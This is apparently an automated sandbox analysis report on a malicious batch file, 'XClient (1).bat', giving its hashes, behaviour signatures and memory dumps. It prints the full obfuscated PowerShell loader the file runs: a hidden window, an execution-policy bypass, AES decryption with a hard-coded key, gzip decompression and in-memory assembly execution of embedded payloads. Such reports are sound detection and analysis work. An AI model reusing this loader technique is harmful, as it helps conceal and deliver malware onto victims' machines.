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07/11/2024, 23:56

241107-3zdm8a1aml 10

Analysis

  • max time kernel
    122s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    07/11/2024, 23:56

General

  • Target

    XClient (1).bat

  • Size

    72KB

  • MD5

    73585d18685e06c4f21302c275ca6682

  • SHA1

    dd0bae964a108a1c923a1f9b99e72f82064786dd

  • SHA256

    b953aae6b09f2002ca056f6cef521960a91711152d5ebd5cf0055d9a491a5554

  • SHA512

    00b2276e24b96b9b8c0629a1913f8a1c0ee7ab12e2fa4ce8f9b54fabeb02b0383eb183b1d45f16e86175108a9c7990f40a4671e29a2dde8400dbb60d3974b08a

  • SSDEEP

    1536:PhOHtmQQ2yEPUWKzKbYd1P/OCWA7Vm6H/j5z5y3Wdjyh:YvTMKY1OCF0xWV+

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\XClient (1).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2916
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lt7J5oQYvdPE/yPR3udzzOgcuFCXB9kkjS82/1mR/YU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FE87bzzPEJCKUD9ywpxuRA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WEOQY=New-Object System.IO.MemoryStream(,$param_var); $YzqMc=New-Object System.IO.MemoryStream; $DahLb=New-Object System.IO.Compression.GZipStream($WEOQY, [IO.Compression.CompressionMode]::Decompress); $DahLb.CopyTo($YzqMc); $DahLb.Dispose(); $WEOQY.Dispose(); $YzqMc.Dispose(); $YzqMc.ToArray();}function execute_function($param_var,$param2_var){ $RqagN=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $HUCEB=$RqagN.EntryPoint; $HUCEB.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\XClient (1).bat';$qvcZY=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient (1).bat').Split([Environment]::NewLine);foreach ($zHSKO in $qvcZY) { if ($zHSKO.StartsWith(':: ')) { $VrWEJ=$zHSKO.Substring(3); break; }}$payloads_var=[string[]]$VrWEJ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2412

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2412-4-0x000007FEF5FDE000-0x000007FEF5FDF000-memory.dmp

    Filesize

    4KB

  • memory/2412-5-0x000000001B720000-0x000000001BA02000-memory.dmp

    Filesize

    2.9MB

  • memory/2412-6-0x0000000001F40000-0x0000000001F48000-memory.dmp

    Filesize

    32KB

  • memory/2412-7-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2412-8-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2412-9-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2412-10-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2412-11-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

    Filesize

    9.6MB